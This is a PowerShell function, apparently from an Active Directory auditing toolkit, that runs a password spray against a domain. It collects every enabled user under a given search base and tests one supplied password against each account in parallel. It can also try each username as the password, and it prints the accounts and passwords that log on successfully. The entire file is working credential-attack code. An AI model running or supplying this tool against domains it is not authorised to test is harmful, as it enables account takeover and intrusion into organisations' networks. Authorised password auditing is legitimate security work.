Private/Start-PasswordSprayAttack.ps1
|
function Start-PasswordSprayAttack { ################################################################################ ###### ##### ###### Run Password Spray in parallel ##### ###### ##### ################################################################################ param( [Parameter(Mandatory)] [string]$SearchBase, [Parameter(Mandatory)] [string]$Password, [Parameter(Mandatory)] [string]$Server, [Switch]$IncludeSamAccountNameAsPassword, [ValidateRange(1, 100)] [int]$ThrottleLimit = 15 ) $CurrentFunction = Get-FunctionName Write-Log -Message "### Start Function $CurrentFunction ###" $StartRunTime = (Get-Date).ToString($Script:DateFormatLog) #################### main code | out- host ##################### $adDomain = Get-ADDomain -Server $Server $domain = $adDomain.NetBIOSName $domainFqdn = $adDomain.DNSRoot $users = Get-ADUser ` -Filter "Enabled -eq 'True'" ` -SearchBase $SearchBase ` -Server $Server ` -Properties SamAccountName $total = $users.Count if ($total -eq 0) { Invoke-Output -Type Warning -Message "No users found under $SearchBase" return } $cname = Convert-FromDNToCN -DistinguishedName $SearchBase Invoke-Output -Type Quit -Message "Press 'Q' at any time to abort Passwort Spray `n for '$total' users under '$cname'!" $startTime = Get-Date $expectedUsers = @($users | ForEach-Object { "$domain\$($_.SamAccountName)" }) $sprayWorker = { $user = "$using:domain\$($_.SamAccountName)" $isSuccess = $false $usedPassword = $using:Password $contextType = [System.DirectoryServices.AccountManagement.ContextType]::Domain $contextOptions = [System.DirectoryServices.AccountManagement.ContextOptions]::Negotiate try { try { $principalContext = New-Object System.DirectoryServices.AccountManagement.PrincipalContext($contextType, $using:domainFqdn) $isSuccess = $principalContext.ValidateCredentials($_.SamAccountName, $using:Password, $contextOptions) $principalContext.Dispose() } catch { $isSuccess = $false } if ((-not $isSuccess) -and $using:IncludeSamAccountNameAsPassword) { if ($using:IncludeSamAccountNameAsPassword) { try { $principalContext = New-Object System.DirectoryServices.AccountManagement.PrincipalContext($contextType, $using:domainFqdn) $isSuccess = $principalContext.ValidateCredentials($_.SamAccountName, $_.SamAccountName, $contextOptions) $principalContext.Dispose() if ($isSuccess) { $usedPassword = $_.SamAccountName } } catch { $isSuccess = $false } } } [PSCustomObject]@{ User = $user Password = $usedPassword Success = $isSuccess } } catch { [PSCustomObject]@{ User = $user Password = $usedPassword Success = $false } } } $allResults = [System.Collections.Generic.List[object]]::new() $processed = 0 $job = $users | ForEach-Object -Parallel $sprayWorker -ThrottleLimit $ThrottleLimit -AsJob while ($job.State -eq "Running") { if ([Console]::KeyAvailable) { if ([Console]::ReadKey($true).Key -eq 'Q') { Stop-Job $job break } } $newResults = Receive-Job $job if ($null -ne $newResults) { foreach ($r in @($newResults)) { $allResults.Add($r) } } $processed = $allResults.Count $percent = [math]::Round(($processed / $total) * 100, 2) $elapsed = (Get-Date) - $startTime $rate = if ($elapsed.TotalSeconds -gt 0) { [math]::Round($processed / $elapsed.TotalSeconds, 2) } else { 0 } $eta = if ($rate -gt 0) { [math]::Round(($total - $processed) / $rate, 1) } else { 0 } Write-Progress ` -Activity "Performing Password Spray" ` -Status "Done: $processed/$total | $rate ops/s | ETA: $eta s | Throttle: $ThrottleLimit" ` -PercentComplete $percent Start-Sleep -Milliseconds 250 } $remainingResults = Receive-Job $job if ($null -ne $remainingResults) { foreach ($r in @($remainingResults)) { $allResults.Add($r) } } Remove-Job $job -Force -ErrorAction SilentlyContinue # Guarantee one output object per input account. $returnedUsers = @($allResults | ForEach-Object { $_.User }) foreach ($expectedUser in $expectedUsers) { if ($expectedUser -notin $returnedUsers) { $allResults.Add([PSCustomObject]@{ User = $expectedUser Password = $Password Success = $false }) } } Write-Progress -Activity "Performing Password Spray" -Completed Invoke-Output -Type Info -Message "Processed users: $total | Returned results: $($allResults.Count)" $success = $allResults | Where-Object { $_.Success -eq $true } if ($success) { Invoke-Output -Type TextMaker -Message "Successful Logons under $cname`:" -TM $($success.count) $success | ForEach-Object { Invoke-Output -Type Bullet -Message "$($_.User) Pw:" -TM $_.Password } } else { Invoke-Output -Type Warning -Message "No successful logons!" } Invoke-Output -Type Success -Message "Finished Password Spray for current scope." ######################## main code ############################ $runtime = Get-RunTime -StartRunTime $StartRunTime Write-Log -Message " Run Time: $runtime [h] ###" Write-Log -Message "### End Function $CurrentFunction ###" } |